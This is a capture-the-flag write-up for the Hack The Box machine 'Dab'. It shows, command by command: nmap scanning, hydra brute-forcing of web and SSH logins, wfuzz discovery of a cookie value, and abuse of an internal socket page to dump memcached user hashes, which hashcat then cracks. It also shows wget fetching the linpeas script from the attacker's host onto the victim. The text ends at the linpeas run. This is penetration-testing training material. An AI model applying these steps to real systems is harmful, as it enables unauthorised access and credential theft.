---
search:
  exclude: true
---
# Dab Writeup

![](img/12.png)

## Introduction :

Dab is a hard linux box released back in August 2018.

## **Part 1 : Initial Enumeration**

As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sT** for tcp ports and **-sU** to for udp ports.
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~/_HTB/dab]
    → sudo nmap -vvv -sTU -p- 10.10.10.86 --max-retries 0 -Pn --min-rate=500 | grep Discovered
    [sudo] password for nothing:
    Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.
    Discovered open port 80/tcp on 10.10.10.86
    Discovered open port 22/tcp on 10.10.10.86
    Discovered open port 21/tcp on 10.10.10.86
    Discovered open port 8080/tcp on 10.10.10.86
    
    

Once we know which ports are opened, we enumerate the ones we want with **-p** , using the flags **-sC** for default scripts, and **-sV** to enumerate versions.
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/2 ] [~/_HTB/dab]
    → sudo nmap -sCV -p80,21,22,8080 10.10.10.86
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-01-15 21:52 CET
    Nmap scan report for 10.10.10.86
    Host is up (0.036s latency).
    
    PORT     STATE SERVICE VERSION
    21/tcp   open  ftp     vsftpd 3.0.3
    | ftp-anon: Anonymous FTP login allowed (FTP code 230)
    |_-rw-r--r--    1 0        0            8803 Mar 26  2018 dab.jpg
    | ftp-syst:
    |   STAT:
    | FTP server status:
    |      Connected to ::ffff:10.10.14.16
    |      Logged in as ftp
    |      TYPE: ASCII
    |      No session bandwidth limit
    |      Session timeout in seconds is 300
    |      Control connection is plain text
    |      Data connections will be plain text
    |      At session startup, client count was 3
    |      vsFTPd 3.0.3 - secure, fast, stable
    |_End of status
    22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
    | ssh-hostkey:
    |   2048 20:05:77:1e:73:66:bb:1e:7d:46:0f:65:50:2c:f9:0e (RSA)
    |   256 61:ae:15:23:fc:bc:bc:29:13:06:f2:10:e0:0e:da:a0 (ECDSA)
    |_  256 2d:35:96:4c:5e:dd:5c:c0:63:f0:dc:86:f1:b1:76:b5 (ED25519)
    80/tcp   open  http    nginx 1.10.3 (Ubuntu)
    |_http-server-header: nginx/1.10.3 (Ubuntu)
    | http-title: Login
    |_Requested resource was http://10.10.10.86/login
    8080/tcp open  http    nginx 1.10.3 (Ubuntu)
    |_http-open-proxy: Proxy might be redirecting requests
    |_http-server-header: nginx/1.10.3 (Ubuntu)
    |_http-title: Internal Dev
    Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
    
    Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
    Nmap done: 1 IP address (1 host up) scanned in 8.74 seconds
    
    

## **Part 2 : Getting User Access**

Our nmap scan picked up port 80 so let's investigate it:

![](prg/12/1.png)

We investigate using burpsuite's repeater:

![](prg/12/2.png)

Here we investigate the error codes of our login attempts with a possible username (admin) and an improbable one (adminhaha):

![](prg/12/3.png) ![](prg/12/4.png)

So we got the following results:
    
    
    admin		>>> Error: Login failed
    adminhaha	>>> Error: Login failed**.**
    
    

This is something you need to check, do you get the same error message when trying different usernames? and here the error codes are different. which gives us a hint that admin is a username. Since we know that the trailing dot is indicative that we have a correct username, we're going to use hydra to enumerate that.

![](prg/12/5.png)
    
    
    [DATA] attacking http-post-form://10.10.10.86:80/login:username=^USER^&password;=^PASS^&submit;=Login:Login failed.<
    [80][http-post-form] host: 10.10.10.86   login: ADMIN   password: hahhahhaha
    [80][http-post-form] host: 10.10.10.86   login: Admin   password: hahhahhaha
    [80][http-post-form] host: 10.10.10.86   login: Audrey   password: hahhahhaha
    [80][http-post-form] host: 10.10.10.86   login: DEFAULT   password: hahhahhaha
    [80][http-post-form] host: 10.10.10.86   login: DEMO   password: hahhahhaha
    [80][http-post-form] host: 10.10.10.86   login: Demo   password: hahhahhaha
    [80][http-post-form] host: 10.10.10.86   login: admin   password: hahhahhaha
    [80][http-post-form] host: 10.10.10.86   login: default   password: hahhahhaha
    [80][http-post-form] host: 10.10.10.86   login: demo   password: hahhahhaha
    

Now that we have a list of usernames:
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/5 ] [~/_HTB/dab]
    → cat usernames
    ADMIN
    Admin
    Audrey
    DEFAULT
    DEMO
    Demo
    admin
    default
    demo
    
    

we can try to find the password for one of these usernames using hydra and rockyou.txt
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab]
    → ls -lash /usr/share/wordlists/rockyou.txt
    134M -rw-r--r-- 1 root root 134M Jul 17  2019 /usr/share/wordlists/rockyou.txt
    
    [ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab]
    → hydra -L usernames -P /usr/share/wordlists/rockyou.txt 10.10.10.86 http-post-form "/login:username=^USER^&password;=^PASS^&submit;=Login:failed"
    Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
    
    Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2021-01-15 22:58:36
    [DATA] max 16 tasks per 1 server, overall 16 tasks, 129099591 login tries (l:9/p:14344399), ~8068725 tries per task
    [DATA] attacking http-post-form://10.10.10.86:80/login:username=^USER^&password;=^PASS^&submit;=Login:failed
    [STATUS] 2643.00 tries/min, 2643 tries in 00:01h, 129096948 to do in 814:05h, 16 active
    [80][http-post-form] host: 10.10.10.86   login: ADMIN   password: Password1
    
    

And it looks like we have credentials ! ADMIN:Password1 so let's login:

![](prg/12/6.png)

It looks like an empty page with nothing useful on it, however it initiated something with memcache as we're going to see later on. To continue, we're going to take a look at port 8080:

![](prg/12/7.png)

And here we get an error message telling us something about the pass auth cookie, so we need to figure out what the cookie is called. To do so we'll use wfuzz, when we run it without any filters we get the 322 character length:
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/4 ] [/usr/share/wordlists]
    → wfuzz -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie: FUZZ" http://10.10.10.86:8080
     /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
     ********************************************************
     * Wfuzz 3.1.0 - The Web Fuzzer                         *
     ********************************************************
    
     Target: http://10.10.10.86:8080/
     Total requests: 2588
    
     =====================================================================
     ID           Response   Lines    Word       Chars       Payload
     =====================================================================
    
     000000003:   200        14 L     30 W       322 Ch      "page"
     000000034:   200        14 L     30 W       322 Ch      "login"
     000000036:   200        14 L     30 W       322 Ch      "content"
     000000031:   200        14 L     30 W       322 Ch      "s"
     000000033:   200        14 L     30 W       322 Ch      "excerpt"
     000000007:   200        14 L     30 W       322 Ch      "email"
     000000035:   200        14 L     30 W       322 Ch      "search"
     000000015:   200        14 L     30 W       322 Ch      "user"
     000000030:   200        14 L     30 W       322 Ch      "description"
     000000001:   200        14 L     30 W       322 Ch      "id"
     000000032:   200        14 L     30 W       322 Ch      "post"
     000000029:   200        14 L     30 W       322 Ch      "charset"
     000000023:   200        14 L     30 W       322 Ch      "order"
     000000025:   200        14 L     30 W       322 Ch      "p"
     000000026:   200        14 L     30 W       322 Ch      "key"
     000000022:   200        14 L     30 W       322 Ch      "mode"
     000000028:   200        14 L     30 W       322 Ch      "start"
     000000024:   200        14 L     30 W       322 Ch      "lang"
     000000027:   200        14 L     30 W       322 Ch      "status"
     000000021:   200        14 L     30 W       322 Ch      "data"
     [...]
    

So we're going to filter out the 322 character length using the --hh 322 flag: 
    
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab]
    → wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "Cookie: FUZZ" --hh 322 http://10.10.10.86:8080
     /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
     ********************************************************
     * Wfuzz 3.1.0 - The Web Fuzzer                         *
     ********************************************************
    
     Target: http://10.10.10.86:8080/
     Total requests: 2588
    
     =====================================================================
     ID           Response   Lines    Word       Chars       Payload
     =====================================================================
    
     000000005:   200        14 L     29 W       324 Ch      "password"
    
     Total time: 11.62986
     Processed Requests: 2588
     Filtered Requests: 2587
     Requests/sec.: 222.5305
    
    

And we found it! the Cookie has to be set to the "password" value. So let's use burpsuite to make this process easier:

![](prg/12/7.png) ![](prg/12/8.png) ![](prg/12/9.png)

as expected, we get the cookie not set error, now let's set the cookie password parameter with a random value:

![](prg/12/10.png)

And as you can see here, we get a different error message than previously, this means that the parameter "password" is valid, but the value that it posesses is not, so let's bruteforce it with a wordlist and as we do so, we need to first know what's the character response length:

![](prg/12/11.png)

In this case it is 324 characters, so we need to use wfuzz's --hh 324 flag:
    
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab]
    → wfuzz -c -w /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -H "Cookie: password=FUZZ" --hh 324 http://10.10.10.86:8080
     /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
     ********************************************************
     * Wfuzz 3.1.0 - The Web Fuzzer                         *
     ********************************************************
    
     Target: http://10.10.10.86:8080/
     Total requests: 10000
    
     =====================================================================
     ID           Response   Lines    Word       Chars       Payload
     =====================================================================
    
     000000097:   200        21 L     48 W       540 Ch      "secret"
    
     Total time: 43.05595
     Processed Requests: 10000
     Filtered Requests: 9999
     Requests/sec.: 232.2559
    

so when you set the cookie parameter 'password' to 'secret' you get the following:

![](prg/12/13.png) ![](prg/12/14.png) ![](prg/12/15.png) ![](prg/12/16.png)

and when you send random values to the prompts you get this url and response:
    
    
    http://10.10.10.86:8080/socket?port=nothing&cmd;=nowhere
    
    

` ![](prg/12/17.png)

Now we don't need to use firefox to manually bruteforce this, let's use curl.
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab]
    → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=1&cmd;=nothing'
    
    500 Internal Server Error
    
    
    # Internal Server Error
    
    
    
    
    The server encountered an internal error and was unable to complete your request.  Either the server is overloaded or there is an error in the application.
    
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab]
    → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=21&cmd;=nothing' -s |tail +8
    
    
    
    
    
    
    
    Status of cache engine: Online
    
    
    
    
    #### TCP socket test
    
    
    
    
    
    
    
    
    
    
    Output
    
    
    
    
    
    220 (vsFTPd 3.0.3)
    530 Please login with USER and PASS.
    
    

% 

So here we see something interesting, we can scan the ports from that page. Let's trim out the useless infos from our output:
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab]
    → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=21&cmd;=nothing' -s |tail +20 | head -n -4
    
    
    
    220 (vsFTPd 3.0.3)
    530 Please login with USER and PASS.
    
    

[ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab] → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=22&cmd;=nothing' -s |tail +20 | head -n -4 
    
    
    SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.4
    Protocol mismatch.
    
    

[ 10.10.14.16/23 ] [ /dev/pts/3 ] [~/_HTB/dab] → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=80&cmd;=nothing' -s |tail +20 | head -n -4 
    
    
    HTTP/1.1 400 Bad Request
    Server: nginx/1.10.3 (Ubuntu)
    Date: Sat, 16 Jan 2021 09:18:49 GMT
    Content-Type: text/html
    Content-Length: 182
    Connection: close
    
    <html>
    <head><title>400 Bad Request</title></head>
    <body bgcolor="white">
    <center><h1>400 Bad Request</h1></center>
    <hr><center>nginx/1.10.3 (Ubuntu)</center>
    </body>
    </html>
    
    

So let's use wfuzz again to enumerate the ports:
    
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/4 ] [~/_HTB/dab]
    → wfuzz -c -z range,1-65535 -u 'http://10.10.10.86:8080/socket?port=FUZZ&cmd;=nothing' -H "Cookie: password=secret" --hc=500
     /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
     ********************************************************
     * Wfuzz 3.1.0 - The Web Fuzzer                         *
     ********************************************************
    
     Target: http://10.10.10.86:8080/socket?port=FUZZ&cmd;=nothing
     Total requests: 65535
    
     =====================================================================
     ID           Response   Lines    Word       Chars       Payload
     =====================================================================
    
     000000021:   200        28 L     61 W       627 Ch      "21"
     000000022:   200        28 L     55 W       629 Ch      "22"
     000000080:   200        40 L     84 W       1010 Ch     "80"
     000008080:   200        40 L     84 W       1010 Ch     "8080"
     000011211:   200        27 L     52 W       576 Ch      "11211"
     000050528:   200        27 L     52 W       577 Ch      "50528"
    
    

looks like we picked up something our nmap scan didnt earlier: 
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    →  curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=nothing' -s |tail +20 | head -n -4
    
    
    
    ERROR
    
    

[ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=50528&cmd;=nothing' -s |tail +20 | head -n -4 

These error codes aren't helpful although we now know that these ports are most likely to be our next steps. So first we do a bit of research on port 11211 and we find that it may correspond to [memcached](https://memcached.org/)

![](prg/12/18.png)

Based on this, we can enumerate memcached further:
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    →  curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=version' -s |tail +20 | head -n -4
    
    
    
    VERSION 1.4.25 Ubuntu
    
    

[ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=stats slabs' -s |tail +20 | head -n -4 
    
    
    STAT 16:chunk_size 2904
    STAT 16:chunks_per_page 361
    STAT 16:total_pages 1
    STAT 16:total_chunks 361
    STAT 16:used_chunks 1
    STAT 16:free_chunks 360
    STAT 16:free_chunks_end 0
    STAT 16:mem_requested 2880
    STAT 16:get_hits 0
    STAT 16:cmd_set 2
    STAT 16:delete_hits 0
    STAT 16:incr_hits 0
    STAT 16:decr_hits 0
    STAT 16:cas_hits 0
    STAT 16:cas_badval 0
    STAT 16:touch_hits 0
    STAT 26:chunk_size 27120
    STAT 26:chunks_per_page 38
    STAT 26:total_pages 1
    STAT 26:total_chunks 38
    STAT 26:used_chunks 1
    STAT 26:free_chunks 37
    STAT 26:free_chunks_end 0
    STAT 26:mem_requested 24699
    STAT 26:get_hits 13640
    STAT 26:cmd_set 29
    STAT 26:delete_hits 0
    STAT 26:incr_hits 0
    STAT 26:decr_hits 0
    STAT 26:cas_hits 0
    STAT 26:cas_badval 0
    STAT 26:touch_hits 0
    STAT active_slabs 2
    STAT total_malloced 2078904
    END
    
    

[ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=stats items' -s |tail +20 | head -n -4 
    
    
    STAT items:16:number 1
    STAT items:16:age 48401
    STAT items:16:evicted 0
    STAT items:16:evicted_nonzero 0
    STAT items:16:evicted_time 0
    STAT items:16:outofmemory 0
    STAT items:16:tailrepairs 0
    STAT items:16:reclaimed 0
    STAT items:16:expired_unfetched 0
    STAT items:16:evicted_unfetched 0
    STAT items:16:crawler_reclaimed 0
    STAT items:16:crawler_items_checked 0
    STAT items:16:lrutail_reflocked 0
    STAT items:26:number 1
    STAT items:26:age 48410
    STAT items:26:evicted 0
    STAT items:26:evicted_nonzero 0
    STAT items:26:evicted_time 0
    STAT items:26:outofmemory 0
    STAT items:26:tailrepairs 0
    STAT items:26:reclaimed 0
    STAT items:26:expired_unfetched 0
    STAT items:26:evicted_unfetched 0
    STAT items:26:crawler_reclaimed 0
    STAT items:26:crawler_items_checked 0
    STAT items:26:lrutail_reflocked 0
    END
    
    

So here we managed to get information on the OS, and the items and memory, which are known as slabs. You can see their ids are either 16 or 26, for each slab we can use **stats cachedump** to give us each item in the slab with its size and expiration timestamp:
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    →  curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=stats cachedump 16 0' -s |tail +20 | head -n -4
    
    
    
    ITEM stock [2807 b; 1610748196 s]
    END
    
    

[ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=stats cachedump 26 0' -s |tail +20 | head -n -4 
    
    
    ITEM users [24625 b; 1610748187 s]
    END
    
    

We can also get Users data:
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=get users' -s |tail +20 | head -n -4
    
    
    
    END
    
    

Well, not quite, that is because we need to login like we did earlier:

![](prg/12/19.png)

Once we logged in again, get the users info but format it correctly otherwise this is going to be some unreadable garbage:
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    → curl -H "Cookie: password=secret" 'http://10.10.10.86:8080/socket?port=11211&cmd;=get users' -s |tail +20 | head -n -4
    
    
    
    VALUE users 0 24625
    {"quinton_dach": "17906b445a05dc42f78ae86a92a57bbd", "jackie.abbott": "c6ab361604c4691f78958d6289910d21", "isidro": "e4a4c90483d2ef61de42af1f044087f3", "roy": "afbde995441e19497fe0695e9c539266", "colleen": "d3792794c3143f7e04fd57dc8b085cd4", "harrison.hessel": "bc5f9b43a0336253ff947a4f8dbdb74f", "asa.christiansen": "d7505316e9a10fc113126f808663b5a4", "jessie": "71f08b45555acc5259bcefa3af63f4e1", "milton_hintz": "8f61be2ebfc66a5f2496bbf849c89b84", "demario_homenick": "2c22da161f085a9aba62b9bbedbd4ca7", "paris": "ef9b20082b7c234c91e165c947f10b71", "gardner_ward": "eb7ed0e8c112234ab1439726a4c50162", "daija.casper": "4d0ed472e5714e5cca8ea7272b15173a", "alanna.prohaska": "6980ba8ee392b3fa6a054226b7d8dd8f", "russell_borer": "cb10b94b5dbb5dfab049070a2abda16e", "domenica.kulas": "5cb322691472f05130416b05b22d4cdf", "davon.kuhic": "e301e431db395ab3fdc123ba8be93ff9", "alana": "41c85abbc7c64d93ca7bda5e2cfc46c2", "bryana": "4d0da0f96ecd0e8b655573cd67b8a1c1", "elmo_welch": "89122bf3ade23faf37b470f1fa5c7358", "sasha": "fbabdcc0eb2ace9aa5b88148a02f78fe", "krystina.lynch": "1b4b73070f563b787afaf435943fac9c", "rick_kirlin": "8952b9d5be0dcb77bdf349cc0e79b49d", "elenora": "edbe5879fa4e452ceceedccf59067409", "broderick": "
    [...]
    

[ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab] → curl -s 'http://10.10.10.86:8080/socket?port=11211&cmd;=get users' -H "Cookie: password=secret" | recode html..ascii | sed -n '/VALUE/{:a;n;/END/b;p;ba}' | jq . { "quinton_dach": "17906b445a05dc42f78ae86a92a57bbd", "jackie.abbott": "c6ab361604c4691f78958d6289910d21", "isidro": "e4a4c90483d2ef61de42af1f044087f3", "roy": "afbde995441e19497fe0695e9c539266", "colleen": "d3792794c3143f7e04fd57dc8b085cd4", "harrison.hessel": "bc5f9b43a0336253ff947a4f8dbdb74f", "asa.christiansen": "d7505316e9a10fc113126f808663b5a4", "jessie": "71f08b45555acc5259bcefa3af63f4e1", "milton_hintz": "8f61be2ebfc66a5f2496bbf849c89b84", [...] } 

Thing is, you need to log back in to be able to keep reading the users data because after 1 minute the data gets cleared out of memcache. So we're going to save it to a file
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    → curl -s 'http://10.10.10.86:8080/socket?port=11211&cmd;=get users' -H "Cookie: password=secret" | recode html..ascii | sed -n '/VALUE/{:a;n;/END/b;p;ba}' | jq . > users.txt
    
    

Now here we need to get the hashes out of that json file:
    
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    → cat users.json
    {
     "quinton_dach": "17906b445a05dc42f78ae86a92a57bbd",
     "jackie.abbott": "c6ab361604c4691f78958d6289910d21",
     "isidro": "e4a4c90483d2ef61de42af1f044087f3",
     "roy": "afbde995441e19497fe0695e9c539266",
     "colleen": "d3792794c3143f7e04fd57dc8b085cd4",
    [...]
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    → cat users.json | jq -r 'to_entries | .[].value' |head -n10
    17906b445a05dc42f78ae86a92a57bbd
    c6ab361604c4691f78958d6289910d21
    e4a4c90483d2ef61de42af1f044087f3
    afbde995441e19497fe0695e9c539266
    d3792794c3143f7e04fd57dc8b085cd4
    bc5f9b43a0336253ff947a4f8dbdb74f
    d7505316e9a10fc113126f808663b5a4
    71f08b45555acc5259bcefa3af63f4e1
    8f61be2ebfc66a5f2496bbf849c89b84
    2c22da161f085a9aba62b9bbedbd4ca7
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    → cat users.json | jq -r 'to_entries | .[].value' > hashes
    
    

Once we have the hashes saved into a file, we can use hashcat to crack them, and 12 of them returned: 
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    → hashcat -a 0 -m 0 hashes /usr/share/wordlists/rockyou.txt --force -o cracked
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    → hashcat users-hashes --show
    eb95fc1ab8251cf1f8f870e7e4dae54d:megadeth
    fc7992e8952a8ff5000cb7856d8586d2:Princess1
    fe01ce2a7fbac8fafaed7c982a04e229:demo
    2ac9cb7dc02b3c0083eb70898e549b63:Password1
    254e5f2c3beb1a3d03f17253c15c07f3:hacktheplanet
    c21f969b5f03d33d43e04f8f136e7682:default
    9731e89f01c1fb943cf0baa6772d2875:piggy
    0ef9c986fad340989647f0001e3555d4:misfits
    5177790ad6df0ea98db41b37b602367c:strength
    6f9ff93a26a118b460c878dc30e17130:monkeyman
    1e0ad2ec7e8c3cc595a9ec2e3762b117:blaster
    0daa6275280be3cf03f9f9c62f9d26d1:lovesucks1
    
    

So now we have a massive list of users and 12 passwords with only the hashes in common:
    
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    → cat users.json | head -n10
    {
      "quinton_dach": "17906b445a05dc42f78ae86a92a57bbd",
      "jackie.abbott": "c6ab361604c4691f78958d6289910d21",
      "isidro": "e4a4c90483d2ef61de42af1f044087f3",
      "roy": "afbde995441e19497fe0695e9c539266",
      "colleen": "d3792794c3143f7e04fd57dc8b085cd4",
      "harrison.hessel": "bc5f9b43a0336253ff947a4f8dbdb74f",
      "asa.christiansen": "d7505316e9a10fc113126f808663b5a4",
      "jessie": "71f08b45555acc5259bcefa3af63f4e1",
      "milton_hintz": "8f61be2ebfc66a5f2496bbf849c89b84",
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    → cat user-hashes
    eb95fc1ab8251cf1f8f870e7e4dae54d:megadeth
    fc7992e8952a8ff5000cb7856d8586d2:Princess1
    fe01ce2a7fbac8fafaed7c982a04e229:demo
    2ac9cb7dc02b3c0083eb70898e549b63:Password1
    254e5f2c3beb1a3d03f17253c15c07f3:hacktheplanet
    c21f969b5f03d33d43e04f8f136e7682:default
    9731e89f01c1fb943cf0baa6772d2875:piggy
    0ef9c986fad340989647f0001e3555d4:misfits
    5177790ad6df0ea98db41b37b602367c:strength
    6f9ff93a26a118b460c878dc30e17130:monkeyman
    1e0ad2ec7e8c3cc595a9ec2e3762b117:blaster
    0daa6275280be3cf03f9f9c62f9d26d1:lovesucks1
    :w
    
    

Since the hash is what these 2 files have in common, we're going to use it to end up with a file that contains 'username:password' so that it can be ran into hydra.
    
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    → cat user-hashes| while read c; do hash=$(echo ${c} | cut -d: -f1); pass=$(echo $c |cut -d: -f2); username=$(grep ${hash} users.json | cut -d: -f1 ); echo "${username}:${pass}"; done
     "wendell":megadeth
     "genevieve":Princess1
     "demo":demo
     "admin":Password1
     "d_murphy":hacktheplanet
     "default":default
     "abbigail":piggy
     "aglae":misfits
     "irma":strength
     "ona":monkeyman
     "alec":blaster
     "rick":lovesucks1
    :
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    → cat user-hashes| while read c; do hash=$(echo ${c} | cut -d: -f1); pass=$(echo $c |cut -d: -f2); username=$(grep ${hash} users.json | cut -d: -f1 ); echo "${username}:${pass}"; done > user_pass
    
    

Then cut out the " characters since hydra doesn't need these (:%s/"//gi , :wq )
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    → cat user_pass
    wendell:megadeth
    genevieve:Princess1
    demo:demo
    admin:Password1
    d_murphy:hacktheplanet
    default:default
    abbigail:piggy
    aglae:misfits
    irma:strength
    ona:monkeyman
    alec:blaster
    rick:lovesucks1
    
    [ 10.10.14.16/23 ] [ /dev/pts/4 ] [~/_HTB/dab]
    → hydra -C user_pass ssh://10.10.10.86
    Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
    
    Hydra (http://www.thc.org/thc-hydra) starting at 2020-01-16 14:16:00
    [WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4                                                                                          
    [DATA] max 12 tasks per 1 server, overall 12 tasks, 12 login tries, ~1 try per task
    [DATA] attacking ssh://10.10.10.86:22/
    [22][ssh] host: 10.10.10.86   login: genevieve   password: Princess1
    1 of 1 target successfully completed, 1 valid password found
    Hydra (http://www.thc.org/thc-hydra) finished at 2020-01-16 14:16:00
    
    

And we found credentials ! genevieve:Princess1 so let's login via ssh:
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/6 ] [~/_HTB/dab]
    → ssh genevieve@10.10.10.86
    The authenticity of host '10.10.10.86 (10.10.10.86)' can't be established.
    ECDSA key fingerprint is SHA256:3gHAJvc1zomI4M6+oCp/3xrMyS6DMPbMFEGDbBO2Qso.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '10.10.10.86' (ECDSA) to the list of known hosts.
    genevieve@10.10.10.86's password:
    Welcome to Ubuntu 16.04.5 LTS (GNU/Linux 4.4.0-133-generic x86_64)
    
     * Documentation:  https://help.ubuntu.com
      * Management:     https://landscape.canonical.com
       * Support:        https://ubuntu.com/advantage
    
       0 packages can be updated.
       0 updates are security updates.
    
    
       Last login: Mon Mar 26 23:42:41 2018 from 172.23.10.99
       genevieve@dab:~$ id
       uid=1000(genevieve) gid=1000(genevieve) groups=1000(genevieve)
       genevieve@dab:~$ cat user.txt
       9bXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
    

And that's it! we managed to find the user flag.

## **Part 3 : Getting Root Access**

Now let's enumerate this box from genevieve's POV, to do so we'll use the linpeas script: 
    
    
    genevieve@dab:~$ which wget ; which curl
    /usr/bin/wget
    /usr/bin/curl
    
    

Looks like both curl and wget are on the server, this means that we will be able to upload our script onto the server easily, most likely in /tmp or in /dev/shm.
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/4 ] [~/_HTB/dab]
    → wget https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
    --2021-01-16 14:29:02--  https://raw.githubusercontent.com/carlospolop/privilege-escalation-awesome-scripts-suite/master/linPEAS/linpeas.sh
    Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.64.133, 151.101.0.133, 151.101.192.133, ...
    Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.64.133|:443... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 319969 (312K) [text/plain]
    Saving to: ‘linpeas.sh’
    
    linpeas.sh                                   100%[============================================================================================>] 312.47K  --.-KB/s    in 0.09s
    
    2021-01-16 14:29:02 (3.36 MB/s) - ‘linpeas.sh’ saved [319969/319969]
    
    
    [ 10.10.14.16/23 ] [ /dev/pts/4 ] [~/_HTB/dab]
    → python3 -m http.server 9090
    Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ...
    
    
    
    
    genevieve@dab:/dev/shm$ wget http://10.10.14.16:9090/linpeas.sh
    --2021-01-16 08:30:02--  http://10.10.14.16:9090/linpeas.sh
    Connecting to 10.10.14.16:9090... connected.
    HTTP request sent, awaiting response... 200 OK
    Length: 319969 (312K) [text/x-sh]
    Saving to: ‘linpeas.sh’
    
    linpeas.sh                                   100%[============================================================================================>] 312.47K   715KB/s    in 0.4s
    
    2021-01-16 08:30:02 (715 KB/s) - ‘linpeas.sh’ saved [319969/319969]
    
    genevieve@dab:/dev/shm$ chmod +x linpeas.sh
    genevieve@dab:/dev/shm$ ./linpeas.sh
    
    

` ![](prg/12/20.png)

